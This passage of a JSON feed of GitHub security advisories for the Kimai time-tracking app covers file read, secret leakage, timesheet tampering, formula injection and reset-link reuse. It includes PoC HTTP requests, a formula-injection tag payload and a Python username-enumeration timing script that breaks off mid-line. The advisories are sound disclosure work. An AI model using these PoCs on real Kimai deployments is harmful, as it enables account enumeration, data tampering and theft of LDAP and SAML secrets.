manipulate another user's favorite bookmark state across accounts. An attacker can inject arbitrary victim-owned timesheet entries into the victim's quick-entry workflow, remove existing favorites, and repeatedly disturb the victim's normal timesheet usage without needing administrative privileges.\n\nThe issue does not directly disclose sensitive data, but it is a real cross-user business-state tampering vulnerability with clear integrity impact. Because the add and remove endpoints can be combined, an attacker can reliably insert, remove, and reorder entries in another user's `favorite/recent` list.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-02T20:44:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U","references":["https://github.com/kimai/kimai/security/advisories/GHSA-j5mc-p8qg-39j7","https://www.kimai.org/en/security/ghsa-j5mc-p8qg-39j7","https://github.com/advisories/GHSA-j5mc-p8qg-39j7"],"source_kind":"github","identifiers":["GHSA-j5mc-p8qg-39j7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-02T21:00:08.614Z","updated_at":"2026-08-14T00:01:26.973Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNW1jLXA4cWctMzlqN84ABaF_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNW1jLXA4cWctMzlqN84ABaF_","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.57.0","vulnerable_version_range":"\u003c= 2.56.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNW1jLXA4cWctMzlqN84ABaF_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNDkyLWd2NzIteHZ4as4ABZ_H","url":"https://github.com/advisories/GHSA-m492-gv72-xvxj","title":"Kimai Password Reset Link Remains Valid After Password Change","description":"### Summary\n\nThe LoginLink signature used for password reset URLs covers only the user's `id` — it does not include the password hash. After a user clicks a reset link and successfully changes their password, the same link remains valid for up to 2 additional uses within a 1-hour window. Anyone who intercepts or caches the original link can log in as the user even after the password has been changed.\n\n### Details\n\n`config/packages/security.yaml:73-78` configures the login link:\n\n```yaml\nlogin_link:\n    check_route: link_login_check\n    signature_properties: ['id']\n    lifetime: 900\n    max_uses: 3\n```\n\nThe HMAC signature covers only `id`, not `password`, `username`, or `email`. The effective lifetime for password reset links is extended to 3600 seconds by `PasswordResetController.php:106-119` via `getPasswordResetRetryLifetime()`.\n\nAfter the first successful use (where the user sets a new password), the `__pw_reset__` session flag is cleared by `WizardController.php:105`. Subsequent uses of the same link bypass the forced-password-reset wizard and grant a normal authenticated session.\n\nSymfony's `LoginLinkHandler::consumeLoginLink` decrements a per-link counter but allows up to 3 total uses. Re-issuing a new link does not invalidate the old one.\n\nThe same vulnerability affects `UserLoginLinkCommand.php:77`, which generates admin-on-demand login links with the same signature scheme.\n\n### PoC\n\n**Step 1 — Generate a password reset link:**\n\n```bash\ndocker exec \u003ckimai_container\u003e bin/console kimai:user:login-link \u003cusername\u003e\n```\n\n**Step 2 — Use the link to log in and change the password.**\n\n**Step 3 — Open the same link in a different browser or incognito session.**\n\nThe link logs the attacker in as a fully authenticated user, despite the password having been changed in Step 2.\n\n**Step 4 — The link works a third time (3 total uses within 1 hour).**\n\n### Impact\n\nA password reset link that leaks through any of the following channels remains a valid authentication credential even after the legitimate user has changed their password: corporate mail-relay scanners that pre-click links (Microsoft Defender ATP, Mimecast, Barracuda), shared inboxes, browser history sync across devices, HTTP referrer headers, or proxy/WAF logs. The user believes they have secured their account by setting a new password, but the leaked link still grants full access for up to 2 additional uses within the hour.\n\n# Solution\n\nLogin links now also use the `password` hash for generating the signature, which will immediately expire the link after the user changed the password.\n\nRead \u003chttps://www.kimai.org/en/security/ghsa-m492-gv72-xvxj\u003e for more information.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-01T19:49:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U","references":["https://github.com/kimai/kimai/security/advisories/GHSA-m492-gv72-xvxj","https://www.kimai.org/en/security/ghsa-m492-gv72-xvxj","https://github.com/advisories/GHSA-m492-gv72-xvxj"],"source_kind":"github","identifiers":["GHSA-m492-gv72-xvxj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-01T20:00:09.878Z","updated_at":"2026-08-14T00:01:33.430Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDkyLWd2NzIteHZ4as4ABZ_H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNDkyLWd2NzIteHZ4as4ABZ_H","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDkyLWd2NzIteHZ4as4ABZ_H/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNWZoLTdod3ItOTdtd84ABWgS","url":"https://github.com/advisories/GHSA-h5fh-7hwr-97mw","title":"Kimai has an arbitrary file read in its invoice PDF renderer (admin)","description":"## Summary\n\nUsers with the role `System-Admin` (`ROLE_SYSTE_ADMIN`) and the permission `upload_invoice_template` can upload PDF invoice templates, which can call `pdfContext.setOption('associated_files', ...)` inside the sandboxed Twig render. \n\nThis is forwarded to mPDF's `SetAssociatedFiles()`, whose writer calls `file_get_contents($entry['path'])` during PDF output and embeds the bytes as a FlateDecode stream in the PDF. Any file readable by the PHP worker is returned to the attacker inside the rendered invoice.\n\n## Root cause\n\n1. `src/Twig/SecurityPolicy/StrictPolicy.php:123-128` explicitly whitelists `PdfContext::setOption()`:\n   ```php\n   if ($obj instanceof PdfContext) {\n       if ($lcm !== 'setoption') { throw ...; }\n       return;\n   }\n   ```\n\n2. `src/Pdf/MPdfConverter.php` keeps `associated_files` in the pass-through allowlist:\n   ```php\n   $allowed = ['mode','format','default_font_size','default_font', ... , 'associated_files','additional_xmp_rdf'];\n   ```\n   and then forwards it to mPDF:\n   ```php\n   if (array_key_exists('associated_files', $options) \u0026\u0026 is_array($options['associated_files'])) {\n       $associatedFiles = $options['associated_files'];\n       unset($options['associated_files']);\n   }\n   ...\n   $mpdf-\u003eSetAssociatedFiles($associatedFiles);\n   ```\n\n3. mPDF 8.3.1 `MetadataWriter::writeAssociatedFiles()` calls `file_get_contents`, which respects PHP stream wrappers:\n   ```php\n   if (isset($file['path'])) {\n       $fileContent = @file_get_contents($file['path']);\n   }\n   ...\n   $filestream = gzcompress($fileContent);\n   $this-\u003ewriter-\u003ewrite('\u003c\u003c/Type /EmbeddedFile');\n   ```\n\nThe sandbox and the option allowlist were both written defensively (short whitelists, not blacklists), but neither side considered that `associated_files` is a PDF/A file-embedding feature whose `path` key is a sink.\n\n## Fix\n\nThe implemented fix has two aspects:\n\n1. The `PdfContext` now works with a strict allow-list, that excludes `associated_files`\n2. The `MPdfConverter` now removes any `path` from the `$associatedFiles` array, which can still be used by plugins:\n```php\n        if (\\count($associatedFiles) \u003e 0) {\n            // remove \"path\" so mPDF will not use file_get_contents() on local files\n            // callers must pre-read and pass the bytes via \"content\"\n            $associatedFiles = array_map(static function ($entry): array {\n                if (!\\is_array($entry)) {\n                    return [];\n                }\n\n                if (\\array_key_exists('path', $entry)) {\n                    unset($entry['path']);\n                }\n\n                return $entry;\n            }, $associatedFiles);\n            $mpdf-\u003eSetAssociatedFiles($associatedFiles);\n        }\n\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T22:22:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-h5fh-7hwr-97mw","https://nvd.nist.gov/vuln/detail/CVE-2026-44298","https://github.com/kimai/kimai/releases/tag/2.56.0","https://github.com/advisories/GHSA-h5fh-7hwr-97mw"],"source_kind":"github","identifiers":["GHSA-h5fh-7hwr-97mw","CVE-2026-44298"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T23:00:08.125Z","updated_at":"2026-08-14T00:03:18.396Z","epss_percentage":0.00278,"epss_percentile":0.19523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNWZoLTdod3ItOTdtd84ABWgS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNWZoLTdod3ItOTdtd84ABWgS","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.56","vulnerable_version_range":"\u003e= 2.32.0, \u003c= 2.55"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNWZoLTdod3ItOTdtd84ABWgS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cnF2LTUyeDctcm00ds4ABWTI","url":"https://github.com/advisories/GHSA-vrqv-52x7-rm4v","title":"Kimai's Twig function config() leaks server-wide secrets (LDAP bind password, SAML SP private key) via invoice/export templates","description":"### Summary\n\nKimai's Twig sandbox (`StrictPolicy`, used for admin-uploaded invoice and export templates) allow-lists the `config()` Twig function with no key filtering. `config(name)` delegates to `App\\Configuration\\SystemConfiguration::find($name)`, which returns arbitrary entries from the flattened `kimai.config` container parameter built in `App\\DependencyInjection\\AppExtension::loadInternal()`. Any admin who can upload a Twig template can therefore render server-wide secrets - the LDAP bind password, the SAML SP private key, and any other dotted configuration key populated from `kimai.yaml` - into the invoice or export output, which is then delivered to whoever generates an invoice or export from that template (including lower-privileged users such as teamleads with invoice permissions). This is a second, uncovered class of the same defense-in-depth issue patched in GHSA-rh42-6rj2-xwmc: the previous fix added a User-method blocklist but left the `config()` function unrestricted.\n\n### Details\n\n`src/Twig/SecurityPolicy/StrictPolicy.php:40-55` explicitly allow-lists `'config'`:\n\n```php\nprivate array $allowedFunctions = [\n    'max', 'min', 'range', 'constant', 'cycle', 'random', 'date',\n    't',\n    'encore_entry_css_source', 'encore_entry_link_tags', 'encore_entry_script_tags',\n    'is_granted',\n    'qr_code_data_uri',\n    'config',                       // \u003c-- sink, no key filter\n    'create_date', 'month_names', 'locale_format',\n    'class_name'\n];\n```\n\n`src/Twig/Configuration.php:22-45` is the Twig function implementation:\n\n```php\npublic function getFunctions(): array\n{\n    return [new TwigFunction('config', [$this, 'get'])];\n}\n\npublic function get(string $name)\n{\n    switch ($name) {\n        case 'chart-class':                     return '';\n        case 'theme.chart.background_color':    return '#3c8dbc';\n        // ... 4 more theme constants\n    }\n    return $this-\u003econfiguration-\u003efind($name);   // \u003c-- arbitrary key lookup\n}\n```\n\n`App\\Configuration\\SystemConfiguration::find()` at `src/Configuration/SystemConfiguration.php:54-62` is a direct dictionary lookup. The dictionary `$this-\u003esettings` is initialised from the `kimai.config` container parameter, which the `AppExtension` flattens from `kimai.yaml` into dotted-notation keys.\n```\n\nThe LDAP and SAML schemas declared in `src/DependencyInjection/Configuration.php` define secret-valued scalar nodes that survive the flattening and become reachable keys:\n\n```php\n// getLdapNode()\n-\u003earrayNode('connection')\n    -\u003echildren()\n        -\u003escalarNode('host')-\u003edefaultNull()-\u003eend()\n        -\u003escalarNode('username')-\u003eend()\n        -\u003escalarNode('password')-\u003eend()       // -\u003e settings['ldap.connection.password']\n        ...\n\n// getSamlNode()\n-\u003earrayNode('sp')\n    -\u003echildren()\n        -\u003escalarNode('x509cert')-\u003eend()\n        -\u003escalarNode('privateKey')-\u003eend()     // -\u003e settings['saml.connection.sp.privateKey']\n        ...\n```\n\nThe invoice and export renderers both enable the sandbox against `StrictPolicy` and pass the shared Twig environment - the one with the `config` function registered - into sandboxed rendering: `src/Invoice/Renderer/AbstractTwigRenderer.php:66-74` and `src/Export/Base/{PDFRenderer,HtmlRenderer}.php`. An admin who uploads a malicious invoice or export template therefore gets an unrestricted read primitive against `kimai.config`.\n\nIn a real deployment the attacker template is uploaded through the admin UI (ROLE_SUPER_ADMIN, permission `upload_invoice_template`), saved by `src/Invoice/InvoiceTemplate*` and later rendered by whoever generates an invoice or export for that template. The rendering user is typically a teamlead or admin with invoice permission (`INVOICE` permission set: `['view_invoice','create_invoice','manage_invoice_template']`, granted to ROLE_ADMIN and ROLE_TEAMLEAD in `config/packages/kimai.yaml`). The rendered output is returned as the invoice PDF/HTML or as a CSV/XLSX export, so the secrets land in a document that is routinely downloaded and emailed.\n\n### Impact\n\nAny Kimai deployment that (a) has SAML or LDAP configured in `kimai.yaml`, and (b) has at least one user (other than the current SUPER_ADMIN) who will render a template-based invoice or export in the future, is affected. A malicious or compromised SUPER_ADMIN can upload a template once, leave, and subsequent invoice or export generations by teamleads or other admins silently exfiltrate `ldap.connection.password`, `saml.connection.sp.privateKey`, `saml.connection.sp.x509cert`, and any other dotted configuration key into an attacker-readable artifact. The LDAP bind password gives domain-credential access to the company directory and often to every downstream system that trusts the same directory; the SAML SP private key allows an attacker to forge signed SAML assertions to any service provider that trusts the same key pair. This is the same class of defense-in-depth leak that GHSA-rh42-6rj2-xwmc patched for user-level secrets, at a broader impact because the keys leaked here are system-wide rather than per-user, and the current StrictPolicy does not intercept the `config()` call path. \n\n### Solution\n\nThe `config()` function was patched to only return a pre-configured list of settings in sandboxed mode. \n\nAdditional checks were added to prevent access to configs that start with `saml.` or `ldap.`.\n\nKimai will not issue a CVE, because this requires a SUPER_ADMIN account and it only affects system with activated LDAP or SAML, which also uses the invoice system.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T18:42:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/kimai/kimai/security/advisories/GHSA-vrqv-52x7-rm4v","https://github.com/advisories/GHSA-vrqv-52x7-rm4v"],"source_kind":"github","identifiers":["GHSA-vrqv-52x7-rm4v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T19:00:08.534Z","updated_at":"2026-08-14T00:03:30.610Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnF2LTUyeDctcm00ds4ABWTI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cnF2LTUyeDctcm00ds4ABWTI","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.56.0","vulnerable_version_range":"\u003c= 2.55.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnF2LTUyeDctcm00ds4ABWTI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ZzJxLXczdzItdmY3cc4ABWSy","url":"https://github.com/advisories/GHSA-9g2q-w3w2-vf7q","title":"Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation","description":"### Summary\n\nAny ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.\n\n### Details\n\n`TimesheetVoter::voteOnAttribute()` maps permissions to `own_timesheet` or `other_timesheet` without checking team membership. The voter's own comment confirms this is a known gap:\n\n```php\n// extend me for \"team\" support later on\nif ($subject-\u003egetUser()?-\u003egetId() === $user-\u003egetId()) {\n    $permission .= 'own';\n} else {\n    $permission .= 'other';\n}\n```\n\n### PoC\n\nTested against Kimai 2.52.0 Docker instance.\n\nSetup:\n- User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description \"Private timesheet - UserA only\"\n- User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A\n\n**User B reads User A's timesheet data:**\n\n```\nGET /api/timesheets/2 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\n```\n\nResponse: HTTP 200 — returns full timesheet record including description \"Private timesheet - UserA only\".\n\n**User B deletes User A's timesheet:**\n\n```\nDELETE /api/timesheets/3 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\n```\n\nResponse: HTTP 204 No Content — timesheet permanently deleted.\n\n**User B tampers User A's timesheet:**\n\n```\nPATCH /api/timesheets/6 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\nContent-Type: application/json\n\n{\"begin\":\"2026-03-24T08:00:00\",\"end\":\"2026-03-24T18:00:00\",\"project\":1,\"activity\":1,\"description\":\"TAMPERED\",\"exported\":false,\"billable\":false}\n```\n\nResponse: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.\n\n**Note:** ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.\n\n### Impact\n\nAny authenticated user with ROLE_TEAMLEAD or above can:\n\n1. Permanently delete timesheets belonging to any user system-wide — destroying billable hours, payroll data, and project billing history\n2. Silently alter timesheet descriptions, hours, and billing flags — forging hours up or down, directly affecting invoicing and payroll\n3. Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records\n\nNo user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.\n\n### Maintainers answer: why this is not eligible for a CVE\n\nThe behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to `ROLE_TEAMLEAD` are:\n\n- `edit_other_timesheet` — Edit existing records of other users\n- `delete_other_timesheet` — Delete existing records of other users\n\nThese permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding `*_other_timesheet` can act on any other user's timesheet. The inline comment `// extend me for \"team\" support later on` reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.\n\nThe report frames this as authorization bypass, but no authorization boundary is being crossed: `ROLE_TEAMLEAD` is operating within its documented permissions.\n\nKimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.\n\n### Solution\n\nTeam-scoped timesheet permission checks were added in 2.56.0.\n\nOperators of Kimai \u003c= 2.55 who need stricter isolation between teamleads should not grant `ROLE_TEAMLEAD` to users who must not act on other teams' timesheets.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T18:28:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/kimai/kimai/security/advisories/GHSA-9g2q-w3w2-vf7q","https://github.com/advisories/GHSA-9g2q-w3w2-vf7q"],"source_kind":"github","identifiers":["GHSA-9g2q-w3w2-vf7q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T19:00:08.535Z","updated_at":"2026-08-14T00:03:30.613Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZzJxLXczdzItdmY3cc4ABWSy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ZzJxLXczdzItdmY3cc4ABWSy","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.56.0","vulnerable_version_range":"\u003c= 2.55.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZzJxLXczdzItdmY3cc4ABWSy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zeGMyLWg1cjMtd3Yzcs4ABWND","url":"https://github.com/advisories/GHSA-3xc2-h5r3-wv3r","title":"Kimai vulnerable to formula Injection via tag names in XLSX export","description":"## Summary\n\nAny `ROLE_USER` can create a tag with a formula string as its name (e.g. `=SUM(54+51)`) via `POST /api/tags` and assign it to a timesheet. When an admin exports timesheets to XLSX, `ArrayFormatter.formatValue()` joins tag names with `implode()` and returns the result unchanged. OpenSpout promotes any `=`-prefixed string to a `FormulaCell`, writing `\u003cf\u003eSUM(54+51)\u003c/f\u003e` into the XLSX archive. Excel evaluates the formula when the file is opened.\n\n## Details\n\n### 1. `ArrayFormatter` does not sanitize before returning\n\n`sanitizeDDE()` exists on `StringHelper` and is called by `TextFormatter`, but `ArrayFormatter` never calls it.\n```php\n// src/Export/Package/CellFormatter/ArrayFormatter.php:24\nreturn implode(', ', $value);  // no sanitizeDDE() call\n```\n\n### 2. Tag name validation does not block formula trigger characters\n\nThe API blocks commas in tag names but permits `=`, `+`, `-`, and `@` - all valid formula prefixes in Excel and LibreOffice Calc.\n\n### 3. OpenSpout silently promotes strings to formula cells\n\n`Cell::fromValue(\"=SUM(54+51)\")` returns a `FormulaCell` with no warning.\n\n### PoC\n\n1. It logs in as normal user, creates tag `=SUM(54+51)`, assigns it to a timesheet.\n2. Admin has to export timesheets to Excel version via `/en/export/` endpoint.\n\n\u003cimg width=\"1339\" height=\"700\" alt=\"image\" src=\"https://github.com/user-attachments/assets/884c7943-5e3b-4647-8bcc-e264d6719d66\" /\u003e\n\n\u003cimg width=\"1304\" height=\"128\" alt=\"formula_injection_tags\" src=\"https://github.com/user-attachments/assets/ef28f2ad-7491-4a15-bb18-1fcd6ff5e55a\" /\u003e\n\n## Impact\n\n- Any `ROLE_USER` can plant a formula that executes on the workstation of any user who exports and opens timesheet data\n- A single malicious tag poisons all future exports across all users and date ranges until the tag is deleted\n\n## Fixes\n\n1. Prevent `=` being part of the tag name (and other fields as well)\n2. Use OpenSpout `TextCell` for everything that is a string","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T20:53:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/kimai/kimai/security/advisories/GHSA-3xc2-h5r3-wv3r","https://nvd.nist.gov/vuln/detail/CVE-2026-42267","https://github.com/kimai/kimai/releases/tag/2.54.0","https://github.com/advisories/GHSA-3xc2-h5r3-wv3r"],"source_kind":"github","identifiers":["GHSA-3xc2-h5r3-wv3r","CVE-2026-42267"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T21:00:09.282Z","updated_at":"2026-08-28T13:02:32.075Z","epss_percentage":0.0022,"epss_percentile":0.12324,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeGMyLWg1cjMtd3Yzcs4ABWND","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zeGMyLWg1cjMtd3Yzcs4ABWND","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.54.0","vulnerable_version_range":"\u003e= 2.27.0, \u003c= 2.53.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeGMyLWg1cjMtd3Yzcs4ABWND/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qdjl4LXc0Z20taHdjbc4ABVw1","url":"https://github.com/advisories/GHSA-jv9x-w4gm-hwcm","title":"Kimai has Missing Object-Level Authorization in the Team API","description":"### Summary\nThe Team API endpoints use #[IsGranted('edit_team')] instead of #[IsGranted('edit', 'team')], causing Symfony TeamVoter to abstain from voting. This removes entity-level ownership checks on team operations, allowing any user with the edit_team permission to modify any team, not just teams they are authorized to manage.\n\n### Details\nAll 8 team association endpoints in src/API/TeamController.php (lines 177, 201, 229, 252, 275, 298, 321, 339) use #[IsGranted('edit_team')] with a single argument. The web controller at src/Controller/TeamController.php:118 correctly uses #[IsGranted('edit', 'team')] with two arguments, passing the $team parameter as the subject.\nWhen edit_team is passed as the attribute, TeamVoter::supportsAttribute() returns false because it only recognizes view, edit, and delete. The voter abstains entirely. Only RolePermissionVoter fires, which checks the role-level permission without any entity-level ownership validation.\n\n### PoC\n#### Authenticate as a user with edit_team permission who is NOT a member of Team 1\n```\ncurl -X POST https://TARGET/api/teams/1/members/2 \\\n  -H \"Authorization: Bearer \u003cAPI_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\"\n```\n\n#### Expected: 403 Forbidden (user is not ROLE_ADMIN/ROLE_SUPER_ADMIN, or member of Team 1)\n#### Actual (pre-2.54.0): 200 OK, user added to Team 1\n\n### Impact\nIn default configuration, only ROLE_ADMIN and ROLE_SUPER_ADMIN have edit_team, and both roles already have irrevocable view_all_data access, making the missing check redundant. The vulnerability becomes exploitable if an administrator grants edit_team to a lower-privilege role (such as ROLE_TEAMLEAD) through the permissions UI. In that scenario, the lower-privilege user could modify any team's membership, customer assignments, project assignments, and activity assignments without being a member or teamlead of that team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-24T16:17:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-jv9x-w4gm-hwcm","https://nvd.nist.gov/vuln/detail/CVE-2026-41498","https://github.com/kimai/kimai/releases/tag/2.54.0","https://github.com/advisories/GHSA-jv9x-w4gm-hwcm"],"source_kind":"github","identifiers":["GHSA-jv9x-w4gm-hwcm","CVE-2026-41498"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T17:00:08.924Z","updated_at":"2026-08-14T00:03:48.796Z","epss_percentage":0.00247,"epss_percentile":0.15665,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qdjl4LXc0Z20taHdjbc4ABVw1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qdjl4LXc0Z20taHdjbc4ABVw1","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.54.0","vulnerable_version_range":"\u003c 2.54.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qdjl4LXc0Z20taHdjbc4ABVw1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcmM2LWZtaHctZnBxMs4ABVcf","url":"https://github.com/advisories/GHSA-jrc6-fmhw-fpq2","title":"Kimai: Username enumeration via timing on X-AUTH-USER","description":"## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n    req = urllib.request.Request(\n        url + PROBE_PATH,\n        headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n    )\n    t0 = time.perf_counter()\n    try:\n        urllib.request.urlopen(req, context=ctx, timeout=10).read()\n    except urllib.error.HTTPError as e:\n        e.read()\n    return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n    return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n    with open(path) as f:\n        return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=__doc__.strip())\n    ap.add_argument(\"-u\", \"--url\", required=True,\n                    help=\"base URL, e.g. https://kimai.example\")\n    ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n                    help=\"one candidate username per line\")\n    ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n                    help=\"median delta over baseline that flags a real user\")\n    ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n    ap.add_argument(\"--verify-tls\", action=\"store_true\")\n    args = ap.parse_args()\n\n    url = args.url.rstrip(\"/\")\n    ctx = None if args.verify_tls else ssl._create_unverified_context()\n    candidates = load_candidates(args.list)\n\n    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n    print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n    width = max(len(u) for u in candidates)\n    print(f\"{'username':\u003c{width}}  {'median':\u003e8}  {'delta':\u003e8}  verdict\")\n    print(\"-\" * (width + 30))\n    for user in candidates:\n        m = median_ms(url, user, args.samples, ctx)\n        delta = m - baseline\n        verdict = \"REAL\" if delta \u003e args.threshold else \"-\"\n        print(f\"{user:\u003c{width}}  {m:\u003e6.1f}ms  